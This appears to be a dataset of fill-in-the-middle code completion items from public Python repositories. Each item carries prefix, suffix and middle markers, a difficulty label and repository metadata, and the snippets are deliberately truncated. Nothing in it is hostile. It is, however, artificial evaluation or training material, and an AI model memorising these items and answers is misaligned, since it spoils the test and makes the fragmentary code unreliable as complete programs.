<|fim_suffix|>rb1 = Radiobutton(app, text= "Play Video", variable = var, value=1, command=snd1) rb1.pack(anchor = W) Fcanvas.pack() app.mainloop()<|fim_prefix|># repo: PankajPandey309/VirtualMuseum path: /video.py #video_name = r"C:\Users\PANKAJ\Desktop\DBMS\virtual_museum\vit.mp4" #This is your video file path im...
code_fim
medium
{ "lang": "python", "repo": "PankajPandey309/VirtualMuseum", "path": "/video.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: PankajPandey309/VirtualMuseum path: /video.py #video_name = r"C:\Users\PANKAJ\Desktop\DBMS\virtual_museum\vit.mp4" #This is your video file path import os from tkinter import * <|fim_suffix|>def snd1(): os.system(r"C:\Users\PANKAJ\Desktop\DBMS\virtual_museum\vit.mp4") var = IntVar() ...
code_fim
medium
{ "lang": "python", "repo": "PankajPandey309/VirtualMuseum", "path": "/video.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> return university[1:] def getAllSemesterOfUniversity(universityName): with open('timetable.csv') as csv_file: csv_reader = csv.reader(csv_file, delimiter=',') semesters = [] for sem in csv_reader: if (sem[4] not in semesters) and (sem[0].lower() == universityN...
code_fim
hard
{ "lang": "python", "repo": "thilaknaiktharipadpu/Law_Timetable", "path": "/readFile.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> with open('timetable.csv') as csv_file: csv_reader = csv.reader(csv_file, delimiter=',') courses = [] for course in csv_reader: if (course[1] not in courses) and (getResponseData(context, 0).lower() == course[0].lower()) and (getResponseData(context, 1).lower() == c...
code_fim
medium
{ "lang": "python", "repo": "thilaknaiktharipadpu/Law_Timetable", "path": "/readFile.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: thilaknaiktharipadpu/Law_Timetable path: /readFile.py import csv from bot import getResponseData def getTimeTable(context): with open('timetable.csv') as csv_file: csv_reader = csv.reader(csv_file, delimiter=',') timetable = [] heading = [] for i, row in enum...
code_fim
hard
{ "lang": "python", "repo": "thilaknaiktharipadpu/Law_Timetable", "path": "/readFile.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> """ Instanciation of Splitter class. We specify the number of runs to leave out for the test set. Arguments: - out_per_fold: int """ self.out_per_fold = out_per_fold pass def split(self, X_train, Y_train, run_train=None, run_test=None): ...
code_fim
hard
{ "lang": "python", "repo": "AlexandrePsq/LePetitPrince", "path": "/fMRI/splitter.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: AlexandrePsq/LePetitPrince path: /fMRI/splitter.py # -*- coding: utf-8 -*- """ General framework regrouping the different splitting strategies possible to integrate in the regression analysis pipeline. =================================================== A Splitter instanciation requires: - o...
code_fim
hard
{ "lang": "python", "repo": "AlexandrePsq/LePetitPrince", "path": "/fMRI/splitter.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Arittx/python path: /Reto 1/reto1.py #Mensaje de bienvenida print ("Bienvenido al sistema de ubicación para zonas públicas WIFI") #Usuario y contraseña userPreset = 51606 passwordPreset = 60615 <|fim_suffix|>if user == userPreset: password = int (input ("Contraseña:\n")) if passwor...
code_fim
medium
{ "lang": "python", "repo": "Arittx/python", "path": "/Reto 1/reto1.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>if user == userPreset: password = int (input ("Contraseña:\n")) if password == passwordPreset: #Se toma dinamicamente la longitud del usuario para calcular el indice de inicio y fin para obtener los terminos requeridos codeLentgh = len(str(userPreset)) startIndex = code...
code_fim
medium
{ "lang": "python", "repo": "Arittx/python", "path": "/Reto 1/reto1.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: aveitia89/scraping-web path: /awsS3.py import logging import requests import boto3 from botocore.exceptions import ClientError BUCKET_NAME = 'reactvang' def upload_file(file_name, object_name=None, bucket = BUCKET_NAME): """Upload a file to an S3 bucket :param file_name: File to uploa...
code_fim
hard
{ "lang": "python", "repo": "aveitia89/scraping-web", "path": "/awsS3.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def downloand(url="https://vanguardia.com.mx/sites/default/files/styles/paragraph_image_large_desktop_1x/public/amlo-pemex-lopez-obrador-plan-nacional-gas-petroleo-gob-mx.jpg_114089499.jpg"): return requests.get(url, stream=True, headers={'User-agent': 'Mozilla/5.0'}) # img_raw = downloand().raw # im...
code_fim
hard
{ "lang": "python", "repo": "aveitia89/scraping-web", "path": "/awsS3.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> if follows == 1: for j in reversed(range(block_id)): if blocks[j][3] and blocks[j][2] != 2: if [block_id, 1] not in graph[blocks[j][1]]: graph[blocks[j][1]].append([block_id, 1]) ...
code_fim
hard
{ "lang": "python", "repo": "MATF-Software-Verification/2019_05_Knut_profajliranje_ivica_vizuelizacija", "path": "/src/utils/Graph.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: MATF-Software-Verification/2019_05_Knut_profajliranje_ivica_vizuelizacija path: /src/utils/Graph.py from copy import copy class CFG(): def __init__(self, block_stack): self.graph = self.generate_graph(block_stack) self.graph = { 1: [[2, 10]], 2: [[4, ...
code_fim
hard
{ "lang": "python", "repo": "MATF-Software-Verification/2019_05_Knut_profajliranje_ivica_vizuelizacija", "path": "/src/utils/Graph.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: JulyKikuAkita/PythonPrac path: /cs15211/ShortestDistanceFromAllBuildings.py __source__ = 'https://leetcode.com/problems/shortest-distance-from-all-buildings/' # https://github.com/kamyu104/LeetCode/blob/master/Python/shortest-distance-from-all-buildings.py # Time: O(k * m * n), k is the number o...
code_fim
hard
{ "lang": "python", "repo": "JulyKikuAkita/PythonPrac", "path": "/cs15211/ShortestDistanceFromAllBuildings.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> for (int i = 0; i < m; i++) { for (int j = 0; j < n; j++) { if (grid[i][j] == 0 && reachable[i][j] == buildings) { result = Math.min(result, distances[i][j]); } } } return result == Integer.MAX_VALUE ? -1 :...
code_fim
hard
{ "lang": "python", "repo": "JulyKikuAkita/PythonPrac", "path": "/cs15211/ShortestDistanceFromAllBuildings.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> rowQueue.add(i); colQueue.add(j); visited[i][j] = true; while (!rowQueue.isEmpty()) { int size = rowQueue.size(); for (int k = 0; k < size; k++) { int curRow = rowQueue.poll(); int curCol = colQueue.poll(); ...
code_fim
hard
{ "lang": "python", "repo": "JulyKikuAkita/PythonPrac", "path": "/cs15211/ShortestDistanceFromAllBuildings.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: iambhushan6/Vaccinator path: /auth/urls.py from django.contrib import admin from django.urls import p<|fim_suffix|>_view()), path('logout/', views.Logoutkar.as_view()), ]<|fim_middle|>ath from auth import views urlpatterns = [ path('admin/', admin.site.urls), path('login/', views.Log...
code_fim
medium
{ "lang": "python", "repo": "iambhushan6/Vaccinator", "path": "/auth/urls.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>_view()), path('logout/', views.Logoutkar.as_view()), ]<|fim_prefix|># repo: iambhushan6/Vaccinator path: /auth/urls.py from django.contrib import admin from django.urls import path from auth import views urlpatterns = [ path('admin<|fim_middle|>/', admin.site.urls), path('login/', views.Log...
code_fim
easy
{ "lang": "python", "repo": "iambhushan6/Vaccinator", "path": "/auth/urls.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def export(self, *args) : basicFilter = "*.b2d" file=cmds.fileDialog2(caption="Please select file to save",fileFilter=basicFilter, dialogStyle=2) if file !="" : dagIt = OM.MItDag(OM.MItDag.kDepthFirst, OM.MFn.kTransform) object = OM.MObject ofile=open(file[0],'w') ofile.write(structure...
code_fim
hard
{ "lang": "python", "repo": "NCCA/Box2DExport", "path": "/Box2DTool.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: NCCA/Box2DExport path: /Box2DTool.py import maya.OpenMaya as OM import maya.OpenMayaAnim as OMA import maya.OpenMayaMPx as OMX import maya.cmds as cmds import sys, math structure=""" typedef struct { b2Body *body; std::string name; float tx; float ty; float width; float height; float ro...
code_fim
hard
{ "lang": "python", "repo": "NCCA/Box2DExport", "path": "/Box2DTool.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> factors = factorization.get_factor_list(n) print("Factors of {}: {}".format(n, factors)) print("\nfactorization.factors (generator)\n---------------------------------") for n in numbers_to_factorize: print("Factors of {}: ".format(n), end="") for f in factoriza...
code_fim
medium
{ "lang": "python", "repo": "CodeDrome/factorization-python", "path": "/main.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: CodeDrome/factorization-python path: /main.py import factorization def main(): """ Test the get_factor_list function and factors generator on a few numbers. """ <|fim_suffix|> print("Factors of {}: {}".format(n, factors)) print("\nfactorization.factors (generator)\n---...
code_fim
hard
{ "lang": "python", "repo": "CodeDrome/factorization-python", "path": "/main.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: touristlee/myhouse path: /housetype/housetype/spiders/house.py # -*- coding:UTF-8 -*- import scrapy from housetype.items import HousetypeItem from scrapy.http.request import Request from scrapy.selector import Selector import urlparse def printhxs(hxs): a='' for i in hxs: a=a+i.en...
code_fim
hard
{ "lang": "python", "repo": "touristlee/myhouse", "path": "/housetype/housetype/spiders/house.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> for sel in response.xpath('//div[@class="clearfix"]'): myurl = 'http://house.leju.com/' urls = printhxs(sel.xpath('ul/li/a/@href').extract()) huxing = printhxs(sel.xpath('ul/li/a/text()').extract()) if ("户型图" in huxing): layout_url = myu...
code_fim
hard
{ "lang": "python", "repo": "touristlee/myhouse", "path": "/housetype/housetype/spiders/house.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: LSH137/school_cafeteria path: /main.py import numpy as np import DataStruct import threading import matplotlib.pyplot as plt import func as f import os import scheduling as sch lst_friend_num_history = list() lst_meantime_history = list() lst_mintime_history = list() lst_maxtime_history = list()...
code_fim
hard
{ "lang": "python", "repo": "LSH137/school_cafeteria", "path": "/main.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> print(f"========== {round((work + 1)/f.n_simulate * 100)} % end ==========") print(f"no seat: {len(f.lst_no_seat)}") plt.figure(num=work+1, clear=True) plt.figure(figsize=(8, 8)) box = {'ec': (0.8, 0.8, 0.8), 'fc': (0.9, 0.9, 0.9)} ax1 = plt.subplot2grid(gr...
code_fim
hard
{ "lang": "python", "repo": "LSH137/school_cafeteria", "path": "/main.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>m zero, kalau command ini bakal kehitungnya yang paling depan print(nama.lower().index('r') -0) huruf = nama.lower() hitung = huruf.count('c') print('thus there are', hitung, 'c') nama_split = nama.lower().split() nama_split print(nama_split[1].count('t')) nama.count('startup') print (nama_split) nama_spl...
code_fim
hard
{ "lang": "python", "repo": "satriopangestu17/catatan1", "path": "/day1purwasplit.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: satriopangestu17/catatan1 path: /day1purwasplit.py # print(1+1) # print(2 * 3 ) # print('budi' + 'susi') # # variables # nama = 'andi' # usia = 12 # print(nama) # print(usia) # tinggi = 188.8 # print(tinggi) # jomblo = False # print(jomblo) # print('halo, aku ' + nama) # # print('halo, aku ', + n...
code_fim
hard
{ "lang": "python", "repo": "satriopangestu17/catatan1", "path": "/day1purwasplit.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: jeffreyshum/gacha-bot path: /banners/banners.py import random from pymongo import MongoClient from discord import Embed from dotenv import load_dotenv import os from banners.images import FIVE_STARS_IMAGES, FOUR_STARS_IMAGES, THREE_STAR_IMAGES load_dotenv("../.env") MONGODB_URL = os.getenv("MONG...
code_fim
hard
{ "lang": "python", "repo": "jeffreyshum/gacha-bot", "path": "/banners/banners.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> self.user_data["event"]["rolls"][character] = self.user_data["event"]["rolls"].get(character, 0) + 1 # Adds an embed to the embed_list embed = Embed(title=f"4 Star Roll ~ {character}", description=f"Total Event Banner Rolls: **{'{:,}'.format(self.user_data['event'].get('total_wish...
code_fim
hard
{ "lang": "python", "repo": "jeffreyshum/gacha-bot", "path": "/banners/banners.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }